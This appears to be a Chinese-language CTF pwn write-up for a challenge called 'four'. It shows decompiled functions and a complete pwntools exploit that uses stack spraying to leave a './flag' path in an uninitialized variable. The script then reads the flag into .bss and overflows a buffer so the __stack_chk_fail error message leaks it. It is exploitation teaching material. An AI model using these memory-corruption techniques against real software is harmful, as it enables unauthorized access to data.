four#
这题的知识点有两个 一个是栈溅射 还有一个是利用stack_chk_fail函数输出报错信息来泄露flag

__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int v4; // [rsp+0h] [rbp-10h] BYREF int i; // [rsp+4h] [rbp-Ch] unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u); v4 = 0; init_0(); for ( i = 0; i <= 3; ++i ) { puts("your choice : "); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { sub_4014B9(); } else if ( v4 == 5 ) { sub_4013E1(); } if ( v4 > 5 || v4 < 0 ) { puts("error"); exit(1); } if ( v4 <= 2 ) sub_400B94(); if ( v4 == 3 ) sub_400CA8(); if ( v4 > 3 ) sub_40101C(); } return 0LL;}ida打开乍一看是堆题 不过跟进一下函数发现不是
当v4=1时进入的函数 虽然直接给了我们printf函数的真实地址 但是关闭了标准错误的输出 会给我们后面的利用造成困扰 并且这题实际上也不需要libc基址
接下来的四个函数都有作用 我们分别跟进一下
__int64 sub_400B94(){ const char *v0; // rax char buf; // [rsp+Bh] [rbp-6015h] BYREF int v3; // [rsp+Ch] [rbp-6014h] BYREF char v4[24584]; // [rsp+10h] [rbp-6010h] BYREF unsigned __int64 v5; // [rsp+6018h] [rbp-8h]
v5 = __readfsqword(0x28u); v3 = 0; puts("You can give any value, trust me, there will be no overflow"); __isoc99_scanf("%d", &v3); if ( v3 > 24559 || v3 < 0 ) { puts("NO OVERFLOW!!!"); exit(1); } puts("Actually, this function doesn't seem to be useful"); my_read(v4, v3); puts("Really?"); read(0, &buf, 1uLL); if ( buf == 'y' || buf == 'Y' ) { v0 = sub_4009A7(v4); printf("content : %s", v0); } return 0LL;}这个函数可以供我们写入非常多的字节 因此会和其他函数执行时的栈帧空间重合 如果下一个函数没有对栈帧进行清空的话 就会造成数据残留 这一点很重要
__int64 sub_400CA8(){ int v1; // [rsp+0h] [rbp-260h] BYREF int v2; // [rsp+4h] [rbp-25Ch] BYREF int v3; // [rsp+8h] [rbp-258h] BYREF int v4; // [rsp+Ch] [rbp-254h] BYREF int i; // [rsp+10h] [rbp-250h] int v6; // [rsp+14h] [rbp-24Ch] int v7; // [rsp+18h] [rbp-248h] int fd; // [rsp+1Ch] [rbp-244h] char s1[16]; // [rsp+20h] [rbp-240h] BYREF char dest[32]; // [rsp+30h] [rbp-230h] BYREF char buf[256]; // [rsp+50h] [rbp-210h] BYREF char s[264]; // [rsp+150h] [rbp-110h] BYREF unsigned __int64 v13; // [rsp+258h] [rbp-8h]
v13 = __readfsqword(0x28u); strcpy(s1, "output.txt"); i = 0; v1 = 0; v2 = 0; v3 = 0; v6 = 0; printf("Enter level:"); __isoc99_scanf("%d", &v1); printf("Enter mode:"); __isoc99_scanf("%d", &v2); printf("Enter X:"); __isoc99_scanf("%d", &v3); if ( v1 < 0 || v1 > 6 || v2 < 0 || v2 > 4 || v3 < 0 || v3 > 3 ) { puts("invalid data!"); exit(1); } printf("Enter a string: "); my_read(s, 250); v7 = strlen(s); for ( i = 0; i < v7; ++i ) { if ( !(i % v1) || !(i % v2) ) buf[v6++] = s[i]; if ( !(i % v3) ) buf[i] = '@'; } puts("please input filename"); __isoc99_scanf("%14s", s1); if ( strncmp(s1, "output.txt", 0xAuLL) ) { strncpy(s1, "output.txt", 0xCuLL); strncpy(dest, s1, 0xCuLL); } fd = open(dest, 0); if ( fd == -1 ) { puts("open error!"); exit(1); } puts("Do you want to write data?"); puts("1. yes\n2.no"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { write(fd, buf, 0x100uLL); close(fd); puts("Successly!"); } else { puts("OK!"); } return 0LL;}这一个函数的前面部分依然是干扰代码 不用理就行了 关键在于后面的open
可以看到 利用strncmp进行了一个判断 如果filename为output.txt的话 就不会进入if分支 从而dest这个变量就不会被赋值
直到做到这题 我才大概理解为什么变量一般都需要声明时赋值了 就是为了防止栈帧重合导致的数据残留
如果我们利用上一个函数造成数据残留 此时dest变量如果没有被赋值 那么其就会继承这个数据
也就是说如果我们读入大量的flag字符串 那么此时dest变量就会继承flag这个字符串 相当于open了flag文件
__int64 sub_40101C(){ char v1; // [rsp+Bh] [rbp-135h] int fd; // [rsp+Ch] [rbp-134h] int j; // [rsp+10h] [rbp-130h] char *i; // [rsp+18h] [rbp-128h] char delim[2]; // [rsp+2Ah] [rbp-116h] BYREF int v6; // [rsp+2Ch] [rbp-114h] char s[8]; // [rsp+30h] [rbp-110h] BYREF __int64 v8; // [rsp+38h] [rbp-108h] char v9[240]; // [rsp+40h] [rbp-100h] BYREF unsigned __int64 v10; // [rsp+138h] [rbp-8h]
v10 = __readfsqword(0x28u); *s = 0LL; v8 = 0LL; memset(v9, 0, sizeof(v9)); fd = 0; v6 = 0; v1 = 0; strcpy(delim, ">"); puts("info>>"); __isoc99_scanf("%256s", s); for ( i = strtok(s, delim); i; i = strtok(0LL, delim) ) { for ( j = 0; i[j]; ++j ) { if ( i[j] == '~' && i[j + 1] > '/' && i[j + 1] <= '9' ) fd = i[j + 1] - 48; if ( i[j] == ':' && i[j + 1] && i[j + 2] && i[j + 3] && !i[j + 4] ) { LOBYTE(v6) = i[j + 1]; BYTE1(v6) = i[j + 2]; HIWORD(v6) = i[j + 3]; break; } if ( i[j] == '@' && i[j + 2] == '*' && i[j + 1] > '`' && i[j + 1] <= 122 ) v1 = i[j + 1]; } } if ( fd <= 2 || fd > 10 ) { puts("error!"); exit(1); } read(fd, ((SBYTE1(v6) << 8) + (v6 << 16) + SBYTE2(v6)), v1); return 0LL;}这一个函数的作用在于把flag文件的内容写到bss段上的地址 为什么要多此一举呢 在我TEB绕过canary的文章有提及stack_chk_fail函数输出报错信息的依据 原理这里就不复述了
顺便真的很想吐槽一句 这里非要加一个代码审计来强行使得题目难度看起来增加 不是很理解这种操作的意义何在
利用strtok函数返回一个指针 起始地址为我们输入的s字符串中 ’>‘字符的地址
随后就是三个if判断 分别决定了文件描述符 read写入的地址 写入的字节长
唯一要注意的就是第二个if判断 由于调用的是scanf 所以如果我们想要读入地址的话 要注意不能为\x20 或者 \x00 这样的字节 会导致scanf截断 后面的字符丢失
__int64 sub_4013E1(){ char buf[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); if ( !dword_60204C ) { puts("This is a strange overflow. Because of canary, you must not hijack the return address"); read(0, buf, 0x200uLL); close(1); ++dword_60204C; } return 0LL;}最后一个函数 提供了一次栈溢出的机会 此时计算一下stack_chk_fail调用的指针偏移 就可以借助报错输出flag了

完整exp:
from pwn import*from ctypes import *io = process("./pwn")#io = remote("59.110.164.72",10001)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./libc/libc.so.6")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("your choice : ")io.sendline(b'2')io.recvuntil("You can give any value, trust me, there will be no overflow")io.sendline(str(0x5fef))io.recvuntil("Actually, this function doesn't seem to be useful")payload = b"./flag\x00\x00"*0xbfdio.sendline(payload)io.recvuntil("Really?")io.sendline(b'n')
io.recvuntil("your choice : ")io.sendline(b'3')io.recvuntil("Enter level:")io.sendline(b'1')io.recvuntil("Enter mode:")io.sendline(b'2')io.recvuntil("Enter X:")io.sendline(b'3')io.recvuntil("Enter a string: ")io.sendline(b'aaaa')io.recvuntil("please input filename")# gdb.attach(io,'b *0x400EFB')# pause(0)io.sendline(b'output.txt')# pause()io.recvuntil("Do you want to write data?")io.sendline(b'2')
io.recvuntil("your choice : ")io.sendline(b'4')io.recvuntil("info>>")payload = b'>:\x60\x21\x21'+b'>@a*'+b'>~3'# gdb.attach(io,'b *0x4010AE')# pause(0)io.sendline(payload)# pause()
io.recvuntil("your choice : ")io.sendline(b'5')io.recvuntil("This is a strange overflow. Because of canary, you must not hijack the return address")payload = cyclic(0x18+0x100)+p64(0x602121)# gdb.attach(io,'b *0x401457')# pause(0)io.send(payload)# pause()io.recv()io.recv()